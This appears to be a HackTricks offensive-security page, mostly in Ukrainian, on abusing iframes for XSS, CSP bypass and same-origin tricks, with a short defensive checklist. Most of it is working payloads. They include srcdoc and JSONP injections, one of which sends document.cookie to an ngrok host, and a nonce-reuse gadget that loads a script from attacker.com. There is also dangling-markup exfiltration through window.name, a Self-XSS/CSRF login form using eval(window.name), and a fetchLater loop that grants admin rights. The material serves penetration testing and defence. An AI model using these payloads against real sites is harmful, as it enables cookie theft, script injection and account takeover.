Iframes in XSS, CSP and SOP

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

Iframes in XSS

Є 3 способи вказати вміст сторінки, що завантажується в iframe:

  • Через src, який вказує URL (URL може бути cross origin або same origin)
  • Через src, який вказує вміст за допомогою протоколу data:
  • Через srcdoc, який вказує вміст

Доступ до змінних батьківського та дочірнього фреймів

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., батьківський документ не зможе отримати доступ до змінної secret всередині жодного iframe і лише iframes if2 & if3 (які вважаються to be same-site) можуть отримати доступ до secret в оригінальному вікні.\ Зверніть увагу, що if4 вважається таким, що має null origin.

srcdoc особливості, які важливі в реальних exploits

Two details around srcdoc are easy to miss during exploitation:

  • Unless the frame is sandboxed without allow-same-origin, a srcdoc document is same-origin with the parent. Therefore, injecting attacker-controlled HTML into srcdoc is usually equivalent to giving it direct DOM access to the top document.
  • Even though the document URL is about:srcdoc, relative URLs are resolved using the embedding page URL as the base URL. This means payloads such as <script src="/upload/payload.js"></script> or <img src="/internal/debug"> will target the parent origin, not about:srcdoc.

Practical payload:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

Це особливо корисно, коли ви контролюєте лише розмітку, але знаєте same-origin шлях, що повертає JavaScript, JSONP або HTML під контролем атакуючого без суворого CSP.

Іфрейми з CSP

Tip

Зверніть увагу, що в наведених нижче обходах відповідь на іфреймовану сторінку не містить жодного заголовка CSP, який би забороняв виконання JS.

The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Зверніть увагу, що попередній CSP дозволяє виконувати лише inline-скрипт.
Однак, виконаються лише скрипти if1 і if2, але доступ до секрету батьківського документа матиме лише if1.

Отже, можливо обійти CSP, якщо ви можете завантажити JS файл на сервер і підвантажити його через iframe навіть при script-src 'none'. Це також потенційно можна зробити, зловживаючи same-site JSONP endpoint.

Ви можете перевірити це на наступному сценарії, де cookie крадуться навіть при script-src 'none'. Просто запустіть застосунок і відкрийте його у вашому браузері:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

New (2023-2025) CSP bypass techniques with iframes

The research community continues to discover creative ways of abusing iframes to defeat restrictive policies. Below you can find the most notable techniques published during the last few years:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Коли додаток відображає HTML, але суворий CSP блокує виконання скриптів, все одно можна leak-нути чутливі токени, інжектуючи відкритий <iframe name> атрибут. Після того, як часткова розмітка буде розпарсена, скрипт атакуючого, що виконується в окремому origin, навігує фрейм на about:blank і читає window.name, який тепер містить все до наступної кавички (наприклад CSRF token). Оскільки у вразливому контексті жоден JavaScript не виконується, атака зазвичай обходить script-src 'none'. Мінімальний PoC:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – CSP nonces читаються з DOM одно-origin документами. Якщо атакуючий може інжектувати або завантажити same-origin HTML-сторінку і завантажити її в iframe, дочірній фрейм може прочитати top.document.querySelector('[nonce]').nonce і створити нові <script nonce> елементи. Це перетворює same-origin HTML injection у повне виконання скрипта навіть за strict-dynamic (тому що nonce вже довірений). Наведений гаджет ескалює ін’єкцію розмітки в XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – Сторінка, яка опускає директиву form-action, може мати свій login form re-targeted з інжектованого iframe або inline HTML так, що password managers автозаповнять і відправлять облікові дані на зовнішній домен, навіть коли присутній script-src 'none'. Завжди доповнюйте default-src директивою form-action!

Примітки щодо захисту (короткий чекліст)

  1. Завжди надсилайте усі CSP директиви, які контролюють вторинні контексти (form-action, frame-src, child-src, object-src, тощо).
  2. Не покладайтеся на те, що nonces конфіденційні — використовуйте strict-dynamic і усуньте точки ін’єкції.
  3. Коли потрібно вбудовувати недовірені документи, використовуйте sandbox="allow-scripts allow-same-origin" дуже обережно (або без allow-same-origin, якщо вам потрібна лише ізоляція виконання скриптів).
  4. Розгляньте розгортання COOP+COEP для defense-in-depth; новий атрибут <iframe credentialless> (§ below) дозволяє зробити це без порушення third-party embeds.

Other Payloads found on the wild

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Пісочниця iframe

Вміст всередині iframe може зазнавати додаткових обмежень при використанні атрибута sandbox. За замовчуванням цей атрибут не застосовується, тобто обмежень немає.

При застосуванні атрибут sandbox накладає кілька обмежень:

  • Вміст розглядається ніби з унікального джерела.
  • Будь-які спроби відправити форми блокуються.
  • Виконання скриптів заборонено.
  • Доступ до деяких API вимкнено.
  • Це перешкоджає взаємодії посилань з іншими контекстами перегляду.
  • Використання плагінів через <embed>, <object>, <applet> або схожі теги заборонено.
  • Вмісту заборонено змінювати навігацію верхнього рівня контексту перегляду.
  • Функції, що запускаються автоматично, такі як відтворення відео або автоматичне фокусування полів форм, блокуються.

Порада: Сучасні браузери підтримують детальні прапорці, такі як allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation тощо. Комбінуйте їх, щоб надати лише мінімальні можливості, необхідні вбудованому додатку.

Значення атрибута можна залишити порожнім (sandbox=""), щоб застосувати всі вищезгадані обмеження. Або ж задати його у вигляді списку значень, розділених пробілом, що звільняють iframe від певних обмежень.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Якщо вбудована сторінка є same-origin і ви надаєте як allow-scripts, так і allow-same-origin, sandbox стає дуже слабкою межею. Дочірня сторінка може виконувати JavaScript, отримувати доступ до top.document і навіть видаляти атрибут sandbox зі свого власного елементу <iframe>:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

На практиці, sandbox="allow-scripts allow-same-origin" слід вважати небезпечним для same-origin вмісту, контрольованого атакувальником. Він все ще корисний для деяких third-party embeds, але не є межею ізоляції проти ворожого same-origin HTML.

Credentialless iframes

As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.

Since Chrome 110 (February 2023) the feature is enabled by default and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:

  • Scripts in different credentialless iframes still share the same top-level origin and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below).
  • Because the network is credential-stripped, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
  • Storage is partitioned by a top-level document nonce: credentialless frames on the same page can share storage with each other, but it is cleared when the top-level document is discarded.
  • Pop-ups spawned from a credentialless iframe get an implicit rel="noopener", breaking some OAuth flows.
  • Browsers are expected to disable autofill/password managers inside credentialless iframes, limiting credential theft via autofill in these contexts.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Приклад експлуатації: Self-XSS + CSRF

У цій атаці атакувальник готує зловмисну веб-сторінку з 2 iframe:

  • An iframe that loads the victim’s page with the credentialless flag with a CSRF that triggers a XSS (Уявімо Self-XSS у username користувача):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Інший iframe, в якому користувач фактично залогінений (без прапорця credentialless).

Потім із XSS можна отримати доступ до іншого iframe, оскільки вони мають однакову SOP, і вкрасти cookie, наприклад виконавши:

alert(window.top[1].document.cookie);

fetchLater атака

Як зазначено в this article API fetchLater дозволяє налаштувати запит для виконання пізніше. Це можна зловживати, наприклад, щоб залогінити жертву в сесію зловмисника (with Self-XSS), запланувати fetchLater запит (щоб змінити пароль поточного користувача, наприклад) і вийти зі сесії зловмисника. Потім, коли жертва увійде у власну сесію, відкладений запит може виконатися з використанням кукі, доступних на момент відправлення, змінюючи пароль жертви на той, який встановив зловмисник.

Операційні нотатки:

  • fetchLater увійшов у Chrome origin trial у 2024 і був випущений у Chrome 135 (квітень 2025), тому перевіряйте підтримку функції перед тим як на неї покладатися.
  • Відповідь не доступна для JavaScript; body/headers ігноруються після відправлення відкладеного запиту.
  • CSP застосовується через connect-src (не script-src) для відкладених запитів.
  • Запити виконуються під час розвантаження сторінки або коли activateAfter спливає (залежно від того, що відбудеться першим).
  • Максимальна одинична затримка наразі становить 299000 ms, тому для тривалого очікування потрібно перепланувати кілька відкладених запитів.

Таким чином навіть якщо URL жертви не можна завантажити в iframe (через CSP або інші обмеження), зловмисник все одно може виконати запит у сесії жертви.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

Iframes у SOP

Перегляньте наступні сторінки:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Посилання

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks